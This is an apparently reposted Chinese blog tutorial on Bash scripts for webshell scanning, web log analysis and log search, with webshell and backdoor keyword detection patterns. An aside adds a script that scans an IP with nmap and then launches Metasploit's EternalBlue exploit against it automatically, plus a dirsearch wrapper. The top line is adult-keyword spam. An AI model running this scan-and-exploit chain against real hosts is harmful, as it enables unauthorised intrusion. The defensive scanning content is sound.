欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

如何實(shí)現(xiàn)基于BashShell的一個(gè)審計(jì)腳本

這篇文章將為大家詳細(xì)講解有關(guān)如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本,小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

上猶網(wǎng)站建設(shè)公司創(chuàng)新互聯(lián)公司,上猶網(wǎng)站設(shè)計(jì)制作,有大型網(wǎng)站制作公司豐富經(jīng)驗(yàn)。已為上猶上千多家提供企業(yè)網(wǎng)站建設(shè)服務(wù)。企業(yè)網(wǎng)站搭建\外貿(mào)網(wǎng)站制作要多少錢(qián),請(qǐng)找那個(gè)售后服務(wù)好的上猶做網(wǎng)站的公司定做!

windows下,無(wú)論是檢查日志,還是掃描webshell,都有現(xiàn)成的工具使用,畢竟可視化,干啥也方便,Linux下比較麻煩,客戶不讓裝這個(gè),不讓裝那個(gè),有些特殊情況下,服務(wù)器連個(gè)Python環(huán)境又沒(méi)有,用perl寫(xiě)吧,還比較麻煩。

忽然想起來(lái)自己還寫(xiě)過(guò)兩個(gè)小腳本,講完課,沒(méi)事兒改了改,給各位小伙伴們發(fā)上來(lái),腳本沒(méi)什么技術(shù)含量,無(wú)非就是些awk、grep、find、function等,希望能派上用場(chǎng)。

整體運(yùn)行界面是這個(gè)樣子的,界面眼熟吧,msf的圖形,哈哈哈。

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

總體分了三個(gè)內(nèi)容:

一、Webshell后門(mén)掃描

二、網(wǎng)站日志分析

三、日志搜索

一、Webshell后門(mén)掃描

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本主要內(nèi)容就是通過(guò)read -p 獲取用戶輸入內(nèi)容,然后進(jìn)行判斷

這里需要用戶自行輸入要掃描的網(wǎng)站路徑,字典路徑可有可無(wú),留空,就會(huì)執(zhí)行已經(jīng)寫(xiě)好的東西,自定義的話,就需要用戶自己輸入字典路徑了。。

可能有人看不清圖,我就貼一小段命令出來(lái)吧。

if [ -z $filepath ];then
echo -e "\033[1;31m 請(qǐng)輸入要掃描的路徑!\033[0m"
webscan
elif [ -z $wordlist ];then
echo "---------------------掃描信息------------------------------------"
echo -e "\033[44;37m 網(wǎng)站路徑:$filepath \033[0m"
echo -e "\033[44;37m 字典路徑:$wordlist \033[0m"
echo "-------------------------------------------------------------------"
find $filepath -name "*.php"|xargs egrep "eval|<?php eval|GIF89a|_P\"\.\/\*-\/\*-\*\/\"OS\"\.|<?php \$_GET|base64_decode\($|array_map\(assert|array\(\$Base\(\$_POS|extract\(\$_REQUEST|eval\(\'@ini_set|ZXZhbCgnQGluaV9zZXQ|\'e\'\.\'v\'\.\'a\'\.\'l\'"  |grep -v "Binary"|awk -F ":" '{print $1 "    " "\033[45;37m 一句話后門(mén) \033[0m"}'|uniq
find $filepath -name "*.php"|xargs egrep "一句話|小馬|大馬|掛馬|提權(quán)|命令|文件管理|免殺|后門(mén)|system\(\$cmd\)|shell_exec\(\$cmd\)|\$cmd=socket|cmd|shellname|shell|webshell|f377368656c6c2e676f6f676c65636f6|explode\(|MySQLDll\.dll|exec sp_configure|xp_cmdshell|BackDoor|net user|eval\(gzunc|cmd\.exe|command|execfunc"|grep -v "Binary"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似webshell大馬 \033[0m"}'|uniq 
find $filepath -name "*.php"|xargs egrep "***有一些不堪入目的關(guān)鍵詞就不填了,自己下載文件看吧"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.jsp"|xargs egrep "一句話|小馬|大馬|掛馬|提權(quán)|命令|文件管理|免殺|后門(mén)|exec\(cmd|executeQuery|execute|RealVNC|cmd\.exe|\"nc |reg query|WinStations|RDP-Tcp|PortNumbe|execute|\'cmd\'|HashMap\(|Command Window|JFolder|exeCmd"|awk -F ":" '{print $1 "    " "\033[45;37m JSP后門(mén) \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.jsp"|xargs egrep "***有一些不堪入目的關(guān)鍵詞就不填了,自己下載文件看吧"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.html"|xargs egrep "***有一些不堪入目的關(guān)鍵詞就不填了,自己下載文件看吧"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.html"|xargs egrep "QQ:|QQ|hacker|hack|hack by:|友情檢測(cè)|吐司|黑客"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似黑頁(yè) \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.txt"|xargs egrep "QQ:|QQ|hacker|hack|hack by:|友情檢測(cè)|***有一些不堪入目的關(guān)鍵詞就不填了,自己下載文件看吧*"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq 
echo "-------------------------------------------------------------------"
echo -e "\033[44;37m 掃描完畢! \033[0m"
else
echo "---------------------掃描信息------------------------------------"
echo -e "\033[44;37m 網(wǎng)站路徑:$filepath \033[0m"
echo -e "\033[44;37m 字典路徑:$wordlist \033[0m"
echo "-------------------------------------------------------------------"
wordlist1=$(cat $wordlist)
find $filepath -name "*.php"|xargs egrep "$wordlist1"  |grep -v "Binary"|awk -F ":" '{print $1 "    " "\033[45;37m 一句話后門(mén) \033[0m"}'|uniq
find $filepath -name "*.php"|xargs egrep "$wordlist1"|grep -v "Binary"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似webshell大馬 \033[0m"}'|uniq 
find $filepath -name "*.php"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.jsp"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[45;37m JSP后門(mén) \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.jsp"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.html"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.html"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似黑頁(yè) \033[0m"}'|grep -v "Binary"|uniq 
find $filepath -name "*.txt"|xargs egrep "$wordlist1"|awk -F ":" '{print $1 "    " "\033[41;37m 疑似帶有敏感內(nèi)容 \033[0m"}'|grep -v "Binary"|uniq 
echo "-------------------------------------------------------------------"
echo -e "\033[44;37m 字典掃描完畢! \033[0m"
echo "-------------------------------------------------------------------"
fi

字典還是推薦使用windows下的notepad++來(lái)寫(xiě),按照格式      test|\$POST|\(\$_POST   來(lái)寫(xiě)就好,特殊字符記得轉(zhuǎn)意下。

尤其是涉及中文的,一定要在notepad++中,轉(zhuǎn)換成unix格式,不然是無(wú)法識(shí)別中文的。

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

執(zhí)行以后的效果是這個(gè)樣子的,雖然是丑了點(diǎn),但是好歹還是能用的。

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

二、網(wǎng)站日志分析

這個(gè)基本沒(méi)變,懶得改了,詳情可參考3年前寫(xiě)的那篇文章。

如何編寫(xiě)自己的Web日志分析腳本?

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

運(yùn)行結(jié)果如下:

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

三、日志搜索

日志搜索,其實(shí)就是個(gè)文件名搜索和ip地址搜索功能

用戶根據(jù)掃描出來(lái)的webshell后門(mén)名稱(chēng),搜索名字,然后將搜索的信息進(jìn)行去重、統(tǒng)計(jì)進(jìn)行顯示。

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

主要是通過(guò)根據(jù)用戶指定的文件名或IP地址,將用戶的內(nèi)容保存成變量,然后開(kāi)始篩選,排除404、400的響應(yīng)碼以及Binary關(guān)鍵字等不關(guān)注的信息,然后針對(duì)性的進(jìn)行輸出和統(tǒng)計(jì),讓檢索內(nèi)容顯示的簡(jiǎn)潔些,并將輸出內(nèi)容進(jìn)行保存,方便日后查看。

echo "日志內(nèi)容搜索"
        read -p "請(qǐng)輸入要分析的腳本名稱(chēng):" name66
        if [ -z $name66 ];then
        echo "請(qǐng)輸入正確的文件名"
        else
        echo "*******************************檢索內(nèi)容如下:******************************************"
        more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print "訪問(wèn)IP地址為:"$1" ""后門(mén)地址為:"$7}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66-ip.log
	    fl=$(cat $filepath3/log/$name66-ip.log)
        if [ -z $fl ];then
        echo "沒(méi)有發(fā)現(xiàn)匹配$name66的內(nèi)容"
	    rm -rf $filepath3/log/$name66-ip.log
        echo "按回車(chē)鍵重新進(jìn)行搜索"
        read key
        super
        else
        cat $filepath3/log/$name66-ip.log
        echo "*******************************************************詳細(xì)列表如下:******************"
        more $filepath3/access*.* |egrep "/$name66"|grep -v " 404"|awk -F " " '{print $name66}'|grep -v "Binary"|grep -v ":400"|grep -v " 400 0 "|sort |uniq -c |sort -rn >$filepath3/log/$name66.log
	    cat $filepath3/log/$name66.log
        echo "************************************************************************************"
        fi
        fi
	    menu
        ;;

運(yùn)行結(jié)果如下:

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

四、總結(jié)

其實(shí)整體內(nèi)容,就是通過(guò)function函數(shù)來(lái)實(shí)現(xiàn)一個(gè)循環(huán)的小框架,來(lái)實(shí)現(xiàn)輸入不同數(shù)字來(lái)執(zhí)行定義好的函數(shù)功能而已。

畢竟都2020年了,不會(huì)徒手寫(xiě)shell腳本的攻城獅不是好運(yùn)維~

寫(xiě)個(gè)整體代碼的框架示例,可能看起來(lái)能更清楚些。。

#!/bin/bash

function menu
{
cat <<EOF
		echo "1)功能"
		echo "2)功能"
		echo "3)功能"
		echo "4)功能"
EOF

read -p "請(qǐng)輸入要選擇的功能序號(hào):" num1
case "$num1" in
	1)
		echo "case 1"
		gn1
	;;
	2)
		echo "看到我的時(shí)候,我已經(jīng)跳轉(zhuǎn)到了function gn2里去執(zhí)行了"
		gn2
	;;
	3)
		echo "default"
		gn3
	;;
	4)
		echo "default2"
		gn4
	;;
esac

}

function gn1
{
echo "我是功能1"
menu
}

function gn2
{
echo "我是功能2"	
read -p "如果想嵌套子功能,就學(xué)我:" zgn
case "$zgn" in
	1)
		echo "我是功能2的子功能,看見(jiàn)我因?yàn)槟爿斎氲氖?"
	;;
	2)
		echo "case 2 or 3"
	;;
	3)
		echo "default"
	;;
esac
gn2

}

function gn3
{
echo "我是功能3"	
}

function gn4
{
echo "我是功能4"	
}

menu

當(dāng)用戶執(zhí)行時(shí),根據(jù)輸入的序號(hào),來(lái)跳轉(zhuǎn)到對(duì)應(yīng)的邏輯上。

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本用戶輸入序號(hào)1,則進(jìn)入到case的第一個(gè)邏輯上,輸出echo "case 1"后,讓它跳轉(zhuǎn)到定義好的gn1函數(shù)上,并讓gn1函數(shù)輸出“我是功能1”后,返回到menu函數(shù),也就是主界面。

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

以此類(lèi)推,當(dāng)用戶輸入序號(hào)2時(shí),調(diào)到gn2函數(shù)上。

function gn2
{
echo "我是功能2"	
read -p "如果想嵌套子功能,就學(xué)我:" zgn
case "$zgn" in
	1)
		echo "我是功能2的子功能,看見(jiàn)我因?yàn)槟爿斎氲氖?"
	;;
	2)
		echo "case 2 or 3"
	;;
	3)
		echo "default"
	;;
esac
gn2

}

執(zhí)行效果如下:

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

五、題外話

在kali中,可以將常用的工具集中起來(lái),配合bash shell的function函數(shù),來(lái)實(shí)現(xiàn)自動(dòng)化執(zhí)行,就不需要背命令了,無(wú)論什么工具,輸個(gè)IP地址或者域名就可以直接使用了,只要你提前在function里將它寫(xiě)好。

當(dāng)然了,如果有在kali里做安全相關(guān)的畢設(shè)的同學(xué)們,可以把msf利用寫(xiě)進(jìn)去,省去了手動(dòng)輸入命令的過(guò)程,還顯得有B格~

例如:

nmap+msf的MS17-010配合使用時(shí),可以這樣去設(shè)計(jì):

先使用read -p獲取用戶輸入內(nèi)容,并將其保存在變量里,當(dāng)然了,nmap 要用戶輸入的地方,肯定是IP啦~

read -p "請(qǐng)輸入要掃描的IP地址:" num2

利用nmap -v -n $num2 獲取目標(biāo)端口信息

再通過(guò)篩選445端口信息,配合awk來(lái)將信息進(jìn)行分割輸出,獲取內(nèi)容:

egrep "open port 445" |awk -F "/" '{print $1}')

并將內(nèi)容保存到cmd變量里

然后再調(diào)用-script=smb-vuln-ms17-010格式對(duì)目標(biāo)IP進(jìn)行掃描,確認(rèn)是否存在MS17-010漏洞,

nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_DNS"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}'

將其保存在cmd2變量中

一旦目標(biāo)IP存在MS17-010漏洞,輸出結(jié)果中會(huì)含有相關(guān)信息,通過(guò)awk分割,獲取關(guān)鍵詞MS17-010,通過(guò)cmd2變量中獲取的內(nèi)容進(jìn)行匹配,如果兩者相當(dāng),則執(zhí)行接下來(lái)的操作。

調(diào)用msfconsole,并將變量中的IP地址信息自動(dòng)填寫(xiě)進(jìn)去,關(guān)鍵命令如下:

msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"

最終,就實(shí)現(xiàn)了通過(guò)nmap掃描----判斷漏洞-----利用漏洞的一系列效果了:

function ms17010
{
cat <<EOF
    				`echo -e "\033[1;35m ms17010 攻擊演示:\033[0m"`
EOF
echo -e "\033[1;35m *********準(zhǔn)備探測(cè)*************\033[0m"
read -p "請(qǐng)輸入要掃描的IP地址:" num2
cmd=$(nmap -v -n $num2|grep -v "mass_dns"|egrep "open port 445" |awk -F "/" '{print $1}')
if [ "$cmd" = "Discovered open port 445" ];then
cmd2=$(nmap -script=smb-vuln-ms17-010 $num2|grep -v "mass_dns"|egrep "Microsoft SMBv1 servers"|awk -F " " '{print $10}')
echo -e "\033[1;35m $num2 \033[0m 已開(kāi)放445端口"
else
echo -e "\033[1;35m $num2 \033[0m 未開(kāi)啟445端口"
fi

if [ "$cmd2" = "(ms17-010)" ];then
echo -e "檢測(cè)到目標(biāo):\033[1;35m $num2 \033[0m 存在MS17-010漏洞!"
sleep 3
echo -e "\033[1;35m ***************開(kāi)始進(jìn)行攻擊*********************\033[0m"
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;\set RHOST $num2;\run"
else
echo "做球啥呢"
fi
exit
}

執(zhí)行效果如下:

開(kāi)始界面:

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

利用nmap -script=smb-vuln-ms17-010,掃描到目標(biāo)主機(jī)存在MS17-010漏洞后,自動(dòng)執(zhí)行攻擊命令,獲取shell權(quán)限。
如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

假設(shè)目標(biāo)主機(jī)沒(méi)有開(kāi)啟445端口,或者有防火墻,則提示失敗。

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

暴力破解也是如此。

利用nmap掃描服務(wù)信息,判斷開(kāi)放的服務(wù),根據(jù)服務(wù)信息,自動(dòng)調(diào)用要破解的模塊,實(shí)現(xiàn)自動(dòng)識(shí)別,自動(dòng)破解,輸出結(jié)果的過(guò)程,其實(shí)就是個(gè)調(diào)用,調(diào)用,再調(diào)用,沒(méi)什么技術(shù)性,關(guān)鍵是在于一個(gè)字!

懶!

有學(xué)生之前問(wèn)過(guò),windows上好些工具,都需要進(jìn)命令行里去執(zhí)行,好麻煩,每次都記不住,還得打開(kāi)txt復(fù)制命令去用,好煩啊~

當(dāng)然了,Linux上懶也就罷了,windows上也可以稍微懶一懶。

例如:

windows上可以通過(guò)批處理的方式,來(lái)寫(xiě)個(gè)懶人批處理

原理,依然是獲取于用戶輸入,然后將輸入內(nèi)容帶進(jìn)變量里去執(zhí)行,簡(jiǎn)單的不要不要的~

@set /p ym="輸入要掃描的域名地址:"
@set /p jb="輸入要掃描的腳本類(lèi)型:"
@rem 等待用戶輸入 
@set /p gn="請(qǐng)選擇要使用的功能:":
@rem 選擇環(huán)境編碼1
@if %gn%==1 (
@echo 普通掃描!
C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -x 403,404,400,401
 ) else (
@if %gn%==2 (
@echo 遞歸掃描!
C:\Python36-32\python.exe C:\Python36-32\dirsearch\dirsearch.py -u %ym%/ -e %jb% -f -F -r -e %jb% -x 403,404,400,401 -R 5 --timeout=20 --max-retries=5
pause
 )

最終實(shí)現(xiàn)效果如下:

如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本

關(guān)于“如何實(shí)現(xiàn)基于Bash Shell的一個(gè)審計(jì)腳本”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。

新聞標(biāo)題:如何實(shí)現(xiàn)基于BashShell的一個(gè)審計(jì)腳本
文章URL:http://chinadenli.net/article38/pigssp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供商城網(wǎng)站域名注冊(cè)網(wǎng)站營(yíng)銷(xiāo)定制網(wǎng)站網(wǎng)站導(dǎo)航小程序開(kāi)發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都做網(wǎng)站